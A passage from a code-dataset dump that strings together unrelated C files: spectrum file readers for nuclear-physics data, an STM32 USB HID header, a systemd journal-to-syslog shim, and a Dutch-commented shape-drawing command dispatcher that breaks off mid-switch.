memset(idat, 0, nch * 4); /* zero requested # chans */
mind = minc + 1; /* min data index */
maxd = maxc + 1; /* max data index */
minr = *ndx; /* min index requested */
maxr = *ndx + nch - 1; /* max index requested */
if (minr > maxd || maxr < mind) return 0; /* test for no overlap */
if (minr <= mind) {
nwn = loch + nwdh; /* start at 1st element of data */
idx = mind - minr; /* 1st index in idat */
nc = nch - idx + 1; /* # chans to read */
ncmax = maxd - mind + 1; /* max # chans available */
} else { /* all above min */
nwn = loch + nwdh + 2*(minr - mind); /* 1st half-wd# on disk */
idx = 0; /* 1st index in idat */
nc = nch; /* # chans to read */
ncmax = maxd - minr + 1; /* max # chans available */
}
}
if (nc > ncmax) nc = ncmax;
if (dospkio(1, spkfile, &idat[idx], nwn, 2*nc)) {
warn("SPKIO ERROR - cannot read spectrum\n"
"%d %d \n", nwn, 2*nc);
return 4;
}
return 0;
} else if (mode == 2) { /* mode = output (write) */
if (nid >= 254) return 3; /* directory full */
/* see if id already exists */
id = ihed[0]; /* id number */
if (nid > 0 && /* test for directory not empty */
(n = locateID(idir, 1, nid, id)) != 0) { /* id exists */
warn("SPKIO ERROR - spectrum ID already exists!\n");
return 7;
}
nc = ihed[11]; /* # chans from header */
nwdh = ((ihed[8] + 1) / 2) << 1; /* # half-wds of header to store */
/* add to file and update directory */
++nid; /* inc # of id's stored */
ii = (nid << 1) + 2; /* directory index for id */
idir[ii] = id; /* store id in directory */
idir[ii+1] = nxwd; /* store disk loc in dir */
for (i = 0; i < nc; i++) { /* loop on # chans to */
if (idat[i] != 0) break; /* find 1st non-zero data */
}
if (i >= nc) { /* !if all 0, store 1 chan */
minc = 0; /* min chan # */
maxc = 0; /* max chan # */
ia = 0; /* idat index */
nwdd = 2; /* # half-wds to store */
} else {
minc = i; /* set min chan# */
ia = i; /* init loop to find last non-zero data */
for (n = nc - 1; n > ia; n--) { /* reverse loop on idat */
if (idat[n] != 0) break; /* test for non-zero */
}
maxc = n; /* set max chan# */
nwdd = 2*(maxc - minc + 1); /* # half-words of data to store */
}
/* now store data */
idx = minc + 1; /* start index in idat */
ih8 = ihed[7]; /* save ihed(8) */
ih16 = ihed[15]; /* save ihed(16) */
ih17 = ihed[16]; /* save ihed(17) */
ihed[7] = -4; /* so old spkio gets error */
ihed[15] = minc; /* store minc in ihed(16) */
ihed[16] = maxc; /* store maxc in ihed(17) */
/* store header */
stat = dospkio(2, spkfile, ihed, nxwd, nwdh);
ihed[7] = ih8; /* restore ihed(8) */
ihed[15] = ih16; /* restore ihed(16) */
ihed[16] = ih17; /* restore ihed(17) */
if (stat != 0) return 4; /* test for store error */
nxwd += nwdh; /* next disk address */
/* store data */
if (dospkio(2, spkfile, &idat[idx], nxwd, nwdd)) return 4;
/* store directory */
if (dospkio(2, spkfile, idir, 1, 1024)) return 4;
}
return 0;
} /* spkio */
#undef cdir
#undef nid
#undef nxwd
#undef id
#undef nwdh
#undef lenc
#undef lraw
#undef lsca
#undef minc
#undef maxc
/* ================================================ */
FILE *spkman(char *mode, char *namf, char *iacp)
{
/* open/create spk-files for input/output
mode = "OPEN", "CREA"
namf = filename
iacp = "RO", "RW" = access mode
returns valid file descriptor on success, NULL on failure */
int iext;
char cnam[120];
FILE *file = NULL;
strncpy(cnam, namf, 120); /* copy filename */
iext = setext(cnam, ".spk", 120); /* locate .spk extension */
if (strcmp(cnam+iext, ".SPK") && /* test for .SPK ext */
strcmp(cnam+iext, ".spk")) { /* or for .spk ext */
warn("SPKMAN ERROR - filename extension must be .spk!\n");
} else if (!strncmp(mode, "CREA", 4)) {
/* create a new spk-file and open for output */
if (!(file = fopen(cnam, "w+"))) {
warn("SPKMAN ERROR - cannot create new file %s\n", cnam);
}
/* init spk-file */
else if (spkio(0, file, 0, 0, 0, 0, 0, 0)) {
warn("SPKMAN ERROR - cannot initialize file %s\n", cnam);
fclose(file);
return NULL;
}
} else if (!strncmp(iacp, "RW", 2)) {
if (!(file = fopen(cnam, "r+")))
warn("SPKMAN ERROR - cannot open (read/write) file %s\n", cnam);
} else {
if (!(file = fopen(cnam, "r")))
warn("SPKMAN ERROR - cannot open (readonly) file %s\n", cnam);
}
return file;
} /* spkman */
#undef lrecl
/* ======================================================================= */
int spkread(char *fn, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from .spk file
into array sp, of dimension idimsp
fn = file name, or id of spectrum to be read
numch = number of channels read
namesp = name of spectrum (char*8, set to id)
file extension must be .spk (ornl format) */
int ihed[32], isav[16384];
int i, i1, i2, id, nc, ns, in2, in3;
char ans[80];
static char filnam[80] = "";
static int ndx[4] = { 1,0,0,0 };
int maxh = 64;
FILE *spkfile;
if (!inin(fn, strlen(fn), &id, &in2, &in3)) {
if (!(spkfile = spkman("OPEN", filnam, "RO "))) return 1;
} else {
/* fn = file name
open .spk file and ask "display directory?" */
if (!(spkfile = spkman("OPEN", fn, "RO "))) return 1;
strncpy(filnam, fn, 80);
if (askyn("Display directory? (Y/N)")) {
/* list file directory */
if (spkio(6, spkfile, id, ihed, maxh, isav, ndx, 0)) goto READERR;
ns = isav[0];
if (isav[ns] - isav[1] == ns - 1) {
tell("%d spectra, numbers %d through %d\n", ns, isav[1], isav[ns]);
} else {
tell("%d spectra, numbers:\n", ns);
for (i1 = 1; i1 < ns; i1 += 12) {
i2 = i1 + 11;
if (i2 > ns) i2 = ns;
for (i = i1; i <= i2; i++) {
tell(" %5d", isav[i]);
}
tell("\n");
}
}
}
/* ask for spectrum id */
while ((nc = ask(ans, 80, "Spectrum ID = ?")) &&
inin(ans, nc, &id, &in2, &in3));
if (nc == 0) {
fclose(spkfile);
return 1;
}
}
if (id < 1) goto READERR;
/* read spectrum & get number of chs in spectrum */
if (spkio(1, spkfile, id, ihed, maxh, isav, ndx, idimsp)) goto READERR;
*numch = ihed[11];
if (*numch > idimsp) {
*numch = idimsp;
tell(" First %d chs only taken.\n", idimsp);
}
fclose(spkfile);
/* convert to float format */
for (i = 0; i < *numch; ++i) {
sp[i] = (float) isav[i];
}
strncpy(fn, filnam, 80);
sprintf(namesp, "%8d", id);
return 0;
READERR:
/* file_error("read", filnam); */
fclose(spkfile);
return 1;
} /* spkread */
#ifdef HISFILES
/* ======================================================================= */
int hisread(char *fn, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from .his file
into array sp, of dimension idimsp
fn = file name, or id of spectrum to be read
numch = number of channels read
namesp = name of spectrum (char*8, set to id)
file extension must be .his (ornl format) */
short ihed[64];
int isav[16384];
int i, id, nc, in2, in3, ierr = 0;
char ans[80], mser[80];
static char filnam[80] = "";
static int ndx[4] = { 1,1,0,0 }, lud = 1, luh = 2, first = 1, fileopen = 0;
extern void hisman_(char *mode, char *namf, int *lud, int *luh,
char *acp, int *ierr);
extern void hisio_(char *mode, int *lud, int *luh, int *ihn, int *ndx,
int *nch, short *ihed, int *idat, int *ierr, char *mser);
extern struct {
char mssg[112], namprog[8];
int logut, logup;
char lisflg[4], msgf[4];
} lll_;
if (first) {
first = 0;
memset(lll_.mssg, ' ', 112);
strncpy(lll_.namprog, "gf3 ", 8);
lll_.logut = 6;
lll_.logup = 0;
strncpy(lll_.lisflg, "LOF ", 4);
strncpy(lll_.msgf, " ", 4);
}
if (!inin(fn, strlen(fn), &id, &in2, &in3)) {
if (!fileopen) {
hisman_("OPEN", filnam, &lud, &luh, "RO ", &ierr);
if (ierr) {
file_error("open", filnam);
return 1;
}
fileopen = 1;
hisio_("INIT", &lud, &luh, &id, ndx, &idimsp, ihed, isav, &ierr, mser);
if (ierr) {
mser[40] = 0;
warn("%s\n", mser);
goto READERR;
}
}
} else {
/* fn = file name
open .his file */
if (fileopen && (strcmp(fn, filnam))) {
hisman_("CLOS", filnam, &lud, &luh, "RO ", &ierr);
fileopen = 0;
}
if (!fileopen) {
hisman_("OPEN", fn, &lud, &luh, "RO ", &ierr);
if (ierr) {
file_error("open", fn);
return 1;
}
fileopen = 1;
hisio_("INIT", &lud, &luh, &id, ndx, &idimsp, ihed, isav, &ierr, mser);
if (ierr) {
mser[40] = 0;
warn("%s\n", mser);
goto READERR;
}
}
strncpy(filnam, fn, 80);
/* ask for spectrum id */
while ((nc = ask(ans, 80, "Spectrum ID = ?")) &&
inin(ans, nc, &id, &in2, &in3));
if (nc == 0) return 1;
}
if (id < 1) goto READERR;
/* read spectrum & get number of chs in spectrum */
hisio_("READ", &lud, &luh, &id, ndx, &idimsp, ihed, isav, &ierr, mser);
if (ierr) {
mser[40] = 0;
warn("%s\n", mser);
goto READERR;
}
tell(" %d %d %d %d\n", ihed[0], ihed[1], ihed[10], ihed[11]);
*numch = (int) ihed[10];
if (ihed[0] > 1) *numch *= (int) ihed[11];
if (*numch > idimsp) {
*numch = idimsp;
tell(" First %d chs only taken.\n", idimsp);
}
/* convert to float format */
if (ihed[1] == 1) {
for (i = 0; i < *numch; ++i) {
sp[i] = (float) *((unsigned short *)isav + i);
}
} else {
for (i = 0; i < *numch; ++i) {
sp[i] = (float) isav[i];
}
}
strncpy(fn, filnam, 80);
sprintf(namesp, "%8d", id);
return 0;
READERR:
file_error("read", filnam);
return 1;
} /* hisread */
#endif
/* ======================================================================= */
int datread(char *fn, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from .dat file (simple string of floats)
into array sp, of dimension idimsp
fn = file name to be read
numch = number of channels read
namesp = name of spectrum (char*8, set to id)
file extension must be .dat */
FILE *file;
if (!(file = open_readonly(fn))) return 1;
*numch = fread(sp, 4, idimsp, file);
fclose(file);
strncpy(namesp, fn, 8);
if (*numch < 1) return 1;
return 0;
} /* datread */
/* ======================================================================= */
int sptread(char *fn, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from .spt file (special text format)
into array sp, of dimension idimsp
fn = file name to be read
numch = number of channels read
namesp = name of spectrum (char*8, set to id)
file extension must be .dat */
FILE *file;
char line[256];
int k = 0;
float f;
if (!(file = open_readonly(fn))) return 1;
// skip to line with "[DATA]"
while (fgets(line, sizeof(line), file) && !strstr(line, "[DATA]")) ;
// read integers, one per line
while (fgets(line, sizeof(line), file) &&
sscanf(line, "%f", &f) && k < idimsp-1) sp[k++] = f+0.5;
*numch = k;
fclose(file);
strncpy(namesp, fn, 8);
if (*numch < 1) return 1;
return 0;
} /* sptread */
#define ERR {tell("ERROR reading file %s at %d!\n", filnam, ftell(file)); return 1;}
/* ======================================================================= */
int rmsread(char *fn, float *sp, char *namesp, int *numch, int idimsp)
{
/* subroutine to read spectrum from radware multi-spectrum file
into array sp, of dimension idimsp
fn = file name, or contains range of channels to read
numch = number of channels read
namesp = name of spectrum (char*8, set to sp. ID or sp. name)
file extension must be .rms */
float fsp[16384];
int *isp;
short *ssp;
int i, jrecl, in3, ilo, ihi, nc, iy, nsp, dptr, spdir[2];
int id, spmode, xlen, expand, nextptr=0;
int x0, nx;
char ans[80], txt[64], *c;
static char filnam[80];
FILE *file;
char *modes[5] = {"shorts", "ints", "floats", "doubles", "bytes"};
*numch = 0;
isp = (int *) fsp;
ssp = (short *) fsp;
/* look for filename followed by integer chan. no. limits */
if ((c = strstr(fn, "\n"))) *c = 0;
if ((c = strstr(fn, "\r"))) *c = 0;
if ((c = strstr(fn, ".rms")) &&
(nc = strlen(c)-5) > 0 &&
inin(c+5, nc, &ilo, &ihi, &in3) == 0) {
*(c+4) = 0; // terminate file name
strncpy(filnam, fn, 80);
} else {
/* look for int chan. no. limits */
nc = strlen(fn);
if (inin(fn, nc, &ilo, &ihi, &in3)) {
/* not ints; fn = file name, check .rms file exists*/
if (!inq_file(fn, &jrecl)) {
file_error("open", fn);
tell("...File does not exist.\n");
return 1;
}
strncpy(filnam, fn, 80);
/* ask for range of spectrum IDs to be added together */
while ((nc = ask(ans, 80, "Type range of spectrum IDs (lo,hi) ?")) &&
inin(ans, nc, &ilo, &ihi, &in3));
if (nc == 0) return 0;
}
}
if (ihi == 0) ihi = ilo;
if (ihi < ilo) {
i = ilo;
ilo = ihi;
ihi = i;
}
if (ilo < 0) {
tell("Bad y-gate channel limits: %d %d", ilo, ihi);
return 1;
}
if (!(file = open_readonly(filnam))) return 1;
/* read spectrum ID directory */
/* directory(ies): 2*(n+1) ints
int n = number_of_IDs_in_header; int pointer_to_next_directory
int sp_ID_1 int pointer_to_sp_data_1
int sp_ID_2 int pointer_to_sp_data_2
int sp_ID_3 int pointer_to_sp_data_3
. . .
int sp_ID_n int pointer_to_sp_data_n
[-1 0] if no more spectra
*/
for (iy = ilo; iy <= ihi; ++iy) {
// tell(" >> Looking for ID %d in %s\n", iy, filnam);
if (iy > ilo && nextptr > 1) {
/* have already read one spectrum; see if the ID of the next one matches */
fseek(file, nextptr, SEEK_SET);
if (2 != fread(spdir, sizeof(int), 2, file) || spdir[0] != iy) nextptr = 0;
}
if (nextptr == 0) {
rewind(file);
while (1) {
if (1 != fread(&nsp, sizeof(int), 1, file) ||
1 != fread(&dptr, sizeof(int), 1, file)) ERR;
for (i=0; i<nsp; i++) { // read through directory entries
if (2 != fread(spdir, sizeof(int), 2, file)) ERR;
if (spdir[0] == iy) break; // found it!
}
if (spdir[0] == iy || dptr <= 0) break;
fseek(file, dptr, SEEK_SET);
}
if (spdir[0] != iy) {
tell("Spectrum ID %d not found in file %s!\n", iy, filnam);
return 1;
}
}
/* if we are here, then we have found the spectrum we want */
/* initialize output spectrum to zero */
if (iy == ilo) memset(sp, 0, sizeof(float) * idimsp);
if (spdir[1] < 1) return 1; // spectrum has zero length / does not exist
nextptr = ftell(file); // save this to try for next spectrum ID
fseek(file, spdir[1], SEEK_SET);
/* now read the spectrum header */
if (1 != fread(&id, sizeof(int), 1, file) || // sp ID again
// 1 != fread(&nextptr, sizeof(int), 1, file) || // pointer to next directory entry
1 != fread(&spmode, sizeof(int), 1, file) || // storage mode (short/int/float...)
1 != fread(&xlen, sizeof(int), 1, file) || // x dimension
// 1 != fread(&ylen, sizeof(int), 1, file) || // y dimension
1 != fread(&expand, sizeof(int), 1, file) || // extra space for expansion
1 != fread(txt, sizeof(txt), 1, file)) ERR; // description/name text
/* if (id != iy) { */
/* warn("Spectrum ID mismatch (%d, %d) in file %s!\n", iy, id, filnam); */
/* return 1; */
/* } */
if (spmode > 3) ERR; // limit to simple short/int/float for now
tell("Sp ID %d in file %s; %d %s; %s\n", iy, filnam, xlen, modes[spmode-1], txt);
if ((*numch = xlen) > idimsp) {
tell("First %d (of %d) chs only taken.", idimsp, *numch);
*numch = idimsp;
}
i = 0;
/* initialize input spectrum to zero */
memset(fsp, 0, sizeof(fsp));
/* now read the actual spectrum data */
while (i < *numch) {
if (1 != fread(&x0, sizeof(int), 1, file) || // starting ch for this chunk of spectrum
1 != fread(&nx, sizeof(int), 1, file)) ERR; // number of chs in this chunk of spectrum
if (x0 < 0 || nx < 1) break; // no more non-zero bins in the spectrum
if (nx > *numch - x0) nx = *numch - x0;
if (spmode == 1) { // shorts
if (nx != fread(ssp+x0, sizeof(short), nx, file)) ERR;
} else if (spmode == 2) { // ints
if (nx != fread(isp+x0, sizeof(int), nx, file)) ERR;
} else if (spmode == 3) { // floats
if (nx != fread(fsp+x0, sizeof(float), nx, file)) ERR;
}
i = x0 + nx;
}
/* and add it to the output spectrum */
if (spmode == 1) { // shorts
for (i=0; i<*numch; i++) sp[i] += (float) ssp[i];
} else if (spmode == 2) { // ints
for (i=0; i<*numch; i++) sp[i] += (float) isp[i];
} else if (spmode == 3) { // floats
for (i=0; i<*numch; i++) sp[i] += fsp[i];
}
}
fclose(file);
strncpy(fn, filnam, 80);
if (ihi > ilo) {
sprintf(namesp, "%4d%4d", ilo, ihi);
} else {
strncpy(namesp, txt, 8);
}
return 0;
#undef ERR
} /* rmsread */
| 2.09375 | 2 |
2024-11-18T19:59:55.641114+00:00 | 2023-08-27T20:08:08 | 910ef2d600d16b979cb74a93df3aaedb2448d916 | {
"blob_id": "910ef2d600d16b979cb74a93df3aaedb2448d916",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-27T20:08:08",
"content_id": "dfc6bcedf8aaa1ebc47439c1fb53941e6a034568",
"detected_licenses": [
"MIT"
],
"directory_id": "1af43c4ba32d78c60f007a4d068136ce575d917f",
"extension": "h",
"filename": "hid_prop.h",
"fork_events_count": 69,
"gha_created_at": "2018-11-01T03:54:21",
"gha_event_created_at": "2023-08-17T08:44:32",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 155659451,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2981,
"license": "MIT",
"license_type": "permissive",
"path": "/system/apps_usb/test25_hid/usb/hid_prop.h",
"provenance": "stackv2-0019.json.gz:145570",
"repo_name": "gabonator/LA104",
"revision_date": "2023-08-27T20:08:08",
"revision_id": "27d0eece7302c479da2cf86e881b6a51a535f93d",
"snapshot_id": "a4f1cdf2b3e513300d61c50fff091c5717abda9e",
"src_encoding": "UTF-8",
"star_events_count": 500,
"url": "https://raw.githubusercontent.com/gabonator/LA104/27d0eece7302c479da2cf86e881b6a51a535f93d/system/apps_usb/test25_hid/usb/hid_prop.h",
"visit_date": "2023-08-31T22:09:36.272616"
} | stackv2 | /**
******************************************************************************
* @file usb_prop.h
* @author MCD Application Team
* @version V4.0.0
* @date 21-January-2013
* @brief All processing related to Virtual COM Port Demo (Endpoint 0)
******************************************************************************
*/
#ifndef __usb_prop_H
#define __usb_prop_H
#include <usb_core.h>
#include "hid_app.h"
/* Includes ------------------------------------------------------------------*/
/* Exported types ------------------------------------------------------------*/
typedef enum _HID_REQUESTS
{
GET_REPORT = 1,
GET_IDLE,
GET_PROTOCOL,
SET_REPORT = 9,
SET_IDLE,
SET_PROTOCOL
} HID_REQUESTS;
typedef struct
{
uint32_t bitrate;
uint8_t format;
uint8_t paritytype;
uint8_t datatype;
}LINE_CODING;
/* Exported constants --------------------------------------------------------*/
/* Exported macro ------------------------------------------------------------*/
/* Exported functions ------------------------------------------------------- */
void ARC_init(void);
void ARC_Reset(void);
void ARC_SetConfiguration(void);
void ARC_SetDeviceAddress (void);
void ARC_Status_In (void);
void ARC_Status_Out (void);
RESULT ARC_Data_Setup(uint8_t);
RESULT ARC_NoData_Setup(uint8_t);
RESULT ARC_Get_Interface_Setting(uint8_t Interface, uint8_t AlternateSetting);
uint8_t *ARC_GetDeviceDescriptor(uint16_t );
uint8_t *ARC_GetConfigDescriptor(uint16_t);
uint8_t *ARC_GetStringDescriptor(uint16_t);
RESULT ARC_SetProtocol(void);
uint8_t *ARC_GetProtocolValue(uint16_t Length);
uint8_t *ARC_GetKBReportDescriptor(uint16_t Length);
uint8_t *ARC_GetMouseReportDescriptor(uint16_t Length);
uint8_t *ARC_GetJoystickReportDescriptor(uint16_t Length);
uint8_t *ARC_GetHIDDescriptor(uint16_t Length);
uint8_t *ARC_VCP_GetLineCoding(uint16_t Length);
uint8_t *ARC_VCP_SetLineCoding(uint16_t Length);
/* Exported define -----------------------------------------------------------*/
#define ARC_GetConfiguration NOP_Process
//#define ARC_SetConfiguration NOP_Process
#define ARC_GetInterface NOP_Process
#define ARC_SetInterface NOP_Process
#define ARC_GetStatus NOP_Process
#define ARC_ClearFeature NOP_Process
#define ARC_SetEndPointFeature NOP_Process
#define ARC_SetDeviceFeature NOP_Process
//#define ARC_SetDeviceAddress NOP_Process
#define REPORT_DESCRIPTOR 0x22
#define SEND_ENCAPSULATED_COMMAND 0x00
#define GET_ENCAPSULATED_RESPONSE 0x01
#define SET_COMM_FEATURE 0x02
#define GET_COMM_FEATURE 0x03
#define CLEAR_COMM_FEATURE 0x04
#define SET_LINE_CODING 0x20
#define GET_LINE_CODING 0x21
#define SET_CONTROL_LINE_STATE 0x22
#define SEND_BREAK 0x23
#endif /* __USB_PROP_H */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| 2.046875 | 2 |
2024-11-18T20:07:42.500404+00:00 | 2017-07-05T18:15:46 | b3546c9580f39ef8afd77e782d3119582261b382 | {
"blob_id": "b3546c9580f39ef8afd77e782d3119582261b382",
"branch_name": "refs/heads/master",
"committer_date": "2017-07-05T18:15:46",
"content_id": "be7bda2c9f8ffe4fc5c70980f39bdc45fad38779",
"detected_licenses": [
"MIT"
],
"directory_id": "2aee28d649a68c98bface7f0b69aeeaf9c477160",
"extension": "c",
"filename": "sd_journal_shim.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 94146719,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3138,
"license": "MIT",
"license_type": "permissive",
"path": "/src/sd_journal_shim.c",
"provenance": "stackv2-0020.json.gz:77",
"repo_name": "Daniel-Abrecht/sd_journal_shim",
"revision_date": "2017-07-05T18:15:46",
"revision_id": "51455a60b824cf0a383f6a456c90c9e8b55df967",
"snapshot_id": "43e183b37d55a64b322836c41780fb0888e04b99",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Daniel-Abrecht/sd_journal_shim/51455a60b824cf0a383f6a456c90c9e8b55df967/src/sd_journal_shim.c",
"visit_date": "2020-06-16T13:04:29.407822"
} | stackv2 | #define _DEFAULT_SOURCE
#define _GNU_SOURCE
#include <errno.h>
#include <ctype.h>
#include <stdio.h>
#include <syslog.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <sys/uio.h>
int sd_journal_printv( int priority, const char *format, va_list ap ){
vsyslog( priority, format, ap );
return 0;
}
int sd_journal_print( int priority, const char *format, ... ){
va_list ap;
va_start(ap,format);
int ret = sd_journal_printv( priority, format, ap );
va_end(ap);
return ret;
}
int sd_journal_sendv( const struct iovec *iov, int n ){
if( n <= 0 )
return -EINVAL;
int message_len = 0;
const char* message = 0;
int priority = LOG_INFO;
for( int i=0; i<n; i++ ){
if( iov[i].iov_len <= 1 )
continue;
if( iov[i].iov_len >= strlen("MESSAGE=") && !strncmp( "MESSAGE=", iov[i].iov_base, strlen("MESSAGE=") ) ){
message = (char*)iov[i].iov_base + strlen("MESSAGE=");
message_len = iov[i].iov_len - strlen("MESSAGE=");
if( !message_len )
return -EINVAL;
}else if( iov[i].iov_len >= strlen("PRIORITY=") && !strncmp( "PRIORITY=", iov[i].iov_base, strlen("PRIORITY=") ) ){
int tmp = 0;
size_t m = m = iov[i].iov_len - strlen("PRIORITY=");
const char* p = (char*)iov[i].iov_base + strlen("PRIORITY=");
if( m ) continue;
for( size_t j=0; j<m; j++ ){
if( !isdigit(p[j]) )
goto next;
int old = tmp;
tmp *= 10;
tmp += p[j] - '0';
if( tmp < old ) // overflow
continue;
}
priority = tmp;
}
next:;
}
if( !message )
return -EINVAL;
return sd_journal_print( priority, "%s", message );
}
int sd_journal_send( const char *format, ... ){
if( !format )
return -EINVAL;
int ret = 0;
char *message=0, *priority=0;
struct iovec iov[2];
va_list ap;
va_start(ap,format);
{
const char* line = format;
for( size_t n, eq; *line; line += n ){
for( n=0, eq=0; line[n] && line[n] != '\n'; n++ )
if( line[n] == '=' )
eq = n;
if( !eq )
continue;
char** str = 0;
if( !strncmp("MESSAGE=",line,strlen("MESSAGE=")) ){
str = &message;
}else if( !strncmp("PRIORITY=",line,strlen("PRIORITY=")) ){
str = &priority;
}
char* tmp = 0;
if(!str){
str = &tmp;
line += eq;
}
if( vasprintf( str, line, ap ) == -1 )
continue;
if( tmp )
free(tmp);
}
}
va_end(ap);
if( message ){
size_t i = 0;
iov[i].iov_base = message;
iov[i].iov_len = strlen(message);
i++;
if( priority ){
iov[i].iov_base = priority;
iov[i].iov_len = strlen(priority);
i++;
}
ret = sd_journal_sendv(iov,i);
}else{
ret = -EINVAL;
}
if( message )
free( message );
if( priority )
free( priority );
return ret;
}
int sd_journal_perror( const char *message ){
if( message && *message ){
return sd_journal_print( LOG_ERR, "%s: %s", message, strerror(errno) );
}else{
return sd_journal_print( LOG_ERR, "%s", strerror(errno) );
}
return 0;
}
| 2.578125 | 3 |
2024-11-18T20:07:42.673860+00:00 | 2018-05-31T14:53:30 | 308617a2ed7d89c45d028841917a6b79902177a2 | {
"blob_id": "308617a2ed7d89c45d028841917a6b79902177a2",
"branch_name": "refs/heads/master",
"committer_date": "2018-05-31T14:53:30",
"content_id": "856a1e4ab0cb18768929c34fa5d326beb15741bf",
"detected_licenses": [
"MIT"
],
"directory_id": "de15ff1e99947bf6f04ca9a6b2b89050349e121a",
"extension": "c",
"filename": "logic_layer.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 132001854,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4979,
"license": "MIT",
"license_type": "permissive",
"path": "/Code/Applicatie/Source/logic_layer.c",
"provenance": "stackv2-0020.json.gz:205",
"repo_name": "hamid15413/Applicatie",
"revision_date": "2018-05-31T14:53:30",
"revision_id": "7d3ee03eb7b5f333afbd15c4420c8eae8a1b5a0a",
"snapshot_id": "fc0bbcad5d34b63baf5f6f5e77ef31bad2e5459f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/hamid15413/Applicatie/7d3ee03eb7b5f333afbd15c4420c8eae8a1b5a0a/Code/Applicatie/Source/logic_layer.c",
"visit_date": "2020-03-15T06:10:27.292766"
} | stackv2 | /* includes */
#include "main.h"
/**
* @brief Aanroepen van de juiste functie a.d.h.v. de input van de gebruiker
* @param Geen
* @Note Functies zijn afkomstig uit de EE-API library
* @retval Geen
*/
void gebruiker_input_verwerking()
{
switch (gebruiker_input.command)
{
case LIJN:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.x1); UART_puts("\r");
UART_putint(gebruiker_input.y1); UART_puts("\r");
UART_putint(gebruiker_input.x2); UART_puts("\r");
UART_putint(gebruiker_input.y2); UART_puts("\r");
UART_putint(gebruiker_input.dikte); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
#endif
/* Teken een lijn */
lijn(gebruiker_input.x1,
gebruiker_input.y1,
gebruiker_input.x2,
gebruiker_input.y2,
gebruiker_input.dikte,
gebruiker_input.kleur);
break;
case ELLIPS:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.x_mp); UART_puts("\r");
UART_putint(gebruiker_input.y_mp); UART_puts("\r");
UART_putint(gebruiker_input.radius_x); UART_puts("\r");
UART_putint(gebruiker_input.radius_y); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
#endif
/* Teken een ellips */
ellips(gebruiker_input.x_mp,
gebruiker_input.y_mp,
gebruiker_input.radius_x,
gebruiker_input.radius_y,
gebruiker_input.kleur);
break;
case RECHTHOEK:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.x_lo); UART_puts("\r");
UART_putint(gebruiker_input.y_lo); UART_puts("\r");
UART_putint(gebruiker_input.x_rb); UART_puts("\r");
UART_putint(gebruiker_input.y_rb); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
#endif
/* Teken een rechthoek */
rechthoek(gebruiker_input.x_lo,
gebruiker_input.y_lo,
gebruiker_input.x_rb,
gebruiker_input.y_rb,
gebruiker_input.kleur);
break;
case DRIEHOEK:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.x1); UART_puts("\r");
UART_putint(gebruiker_input.y1); UART_puts("\r");
UART_putint(gebruiker_input.x2); UART_puts("\r");
UART_putint(gebruiker_input.y2); UART_puts("\r");
UART_putint(gebruiker_input.x3); UART_puts("\r");
UART_putint(gebruiker_input.y3); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
#endif
/* Teken een driehoek */
driehoek( gebruiker_input.x1,
gebruiker_input.y1,
gebruiker_input.x2,
gebruiker_input.y2,
gebruiker_input.x3,
gebruiker_input.y3,
gebruiker_input.kleur);
break;
case TEKST:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.x_lo); UART_puts("\r");
UART_putint(gebruiker_input.y_lo); UART_puts("\r");
UART_puts(gebruiker_input.tekst); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
UART_putint(gebruiker_input.stijl); UART_puts("\r");
#endif
/* Schrijf een tekst */
tekst(gebruiker_input.x_lo,
gebruiker_input.y_lo,
gebruiker_input.tekst,
gebruiker_input.kleur,
gebruiker_input.stijl);
break;
case BITMAP:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.nr); UART_puts("\r");
UART_putint(gebruiker_input.x_lo); UART_puts("\r");
UART_puts(gebruiker_input.y_lo); UART_puts("\r");
#endif
/* Een bitmap weergeven */
bitmap(gebruiker_input.nr,
gebruiker_input.x_lo,
gebruiker_input.y_lo);
break;
case CLEARSCHERM:
/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.kleur); UART_puts("\r");
#endif
/* scherm vullen met een kleur */
clearscherm(gebruiker_input.kleur);
break;
case WACHT:
